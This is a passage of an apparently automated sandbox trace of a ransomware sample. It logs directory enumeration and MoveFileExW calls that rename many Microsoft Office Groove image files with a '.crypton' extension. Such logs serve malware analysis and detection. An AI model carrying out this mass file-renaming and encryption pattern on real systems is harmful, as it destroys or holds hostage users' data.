office\\office14\\groove\\toolbmps\\verisignlogo.jpg.crypton"), dwFlags=0x2) returned 1 [0101.444] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.449] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.456] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg.crypton"), dwFlags=0x2) returned 1 [0101.460] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimagesmask16x16.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimagesmask16x16.bmp.crypton"), dwFlags=0x2) returned 1 [0101.469] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.473] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.475] GetFileType (hFile=0x198) returned 0x1 [0101.480] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9d87be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb9d87be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0101.484] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9d87be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb9d87be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0101.490] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9dadd40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb9dadd40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0101.499] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.504] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.515] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.522] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg.crypton"), dwFlags=0x2) returned 1 [0101.526] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.533] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9dfa000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb9dfa000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0101.545] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg.crypton"), dwFlags=0x2) returned 1 [0101.561] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.576] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg.crypton"), dwFlags=0x2) returned 1 [0101.584] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.593] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg.crypton"), dwFlags=0x2) returned 1 [0101.608] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlowmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlowmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.754] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg.crypton"), dwFlags=0x2) returned 1 [0101.761] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehighmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehighmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.773] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg.crypton"), dwFlags=0x2) returned 1 [0101.793] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoffmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoffmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.800] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg.crypton"), dwFlags=0x2) returned 1 [0101.807] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_highmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_highmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.820] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg.crypton"), dwFlags=0x2) returned 1 [0101.828] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_mediummask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_mediummask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.839] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg.crypton"), dwFlags=0x2) returned 1 [0101.846] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_offmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_offmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.855] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg.crypton"), dwFlags=0x2) returned 1 [0101.859] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.862] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemasksmall.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemasksmall.bmp.crypton"), dwFlags=0x2) returned 1 [0101.869] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg.crypton"), dwFlags=0x2) returned 1 [0101.878] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg.crypton"), dwFlags=0x2) returned 1 [0101.882] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.885] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemasksmall.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemasksmall.bmp.crypton"), dwFlags=0x2) returned 1 [0101.892] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg.crypton"), dwFlags=0x2) returned 1 [0101.901] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.903] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.911] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg.crypton"), dwFlags=0x2) returned 1 [0101.918] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0101.922] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.928] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba1d83c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xba1d83c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0101.932] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg.crypton"), dwFlags=0x2) returned 1 [0101.935] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp.crypton"), dwFlags=0x2) returned 1 [0101.941] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba1d83c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xba1d83c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0101.950] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft 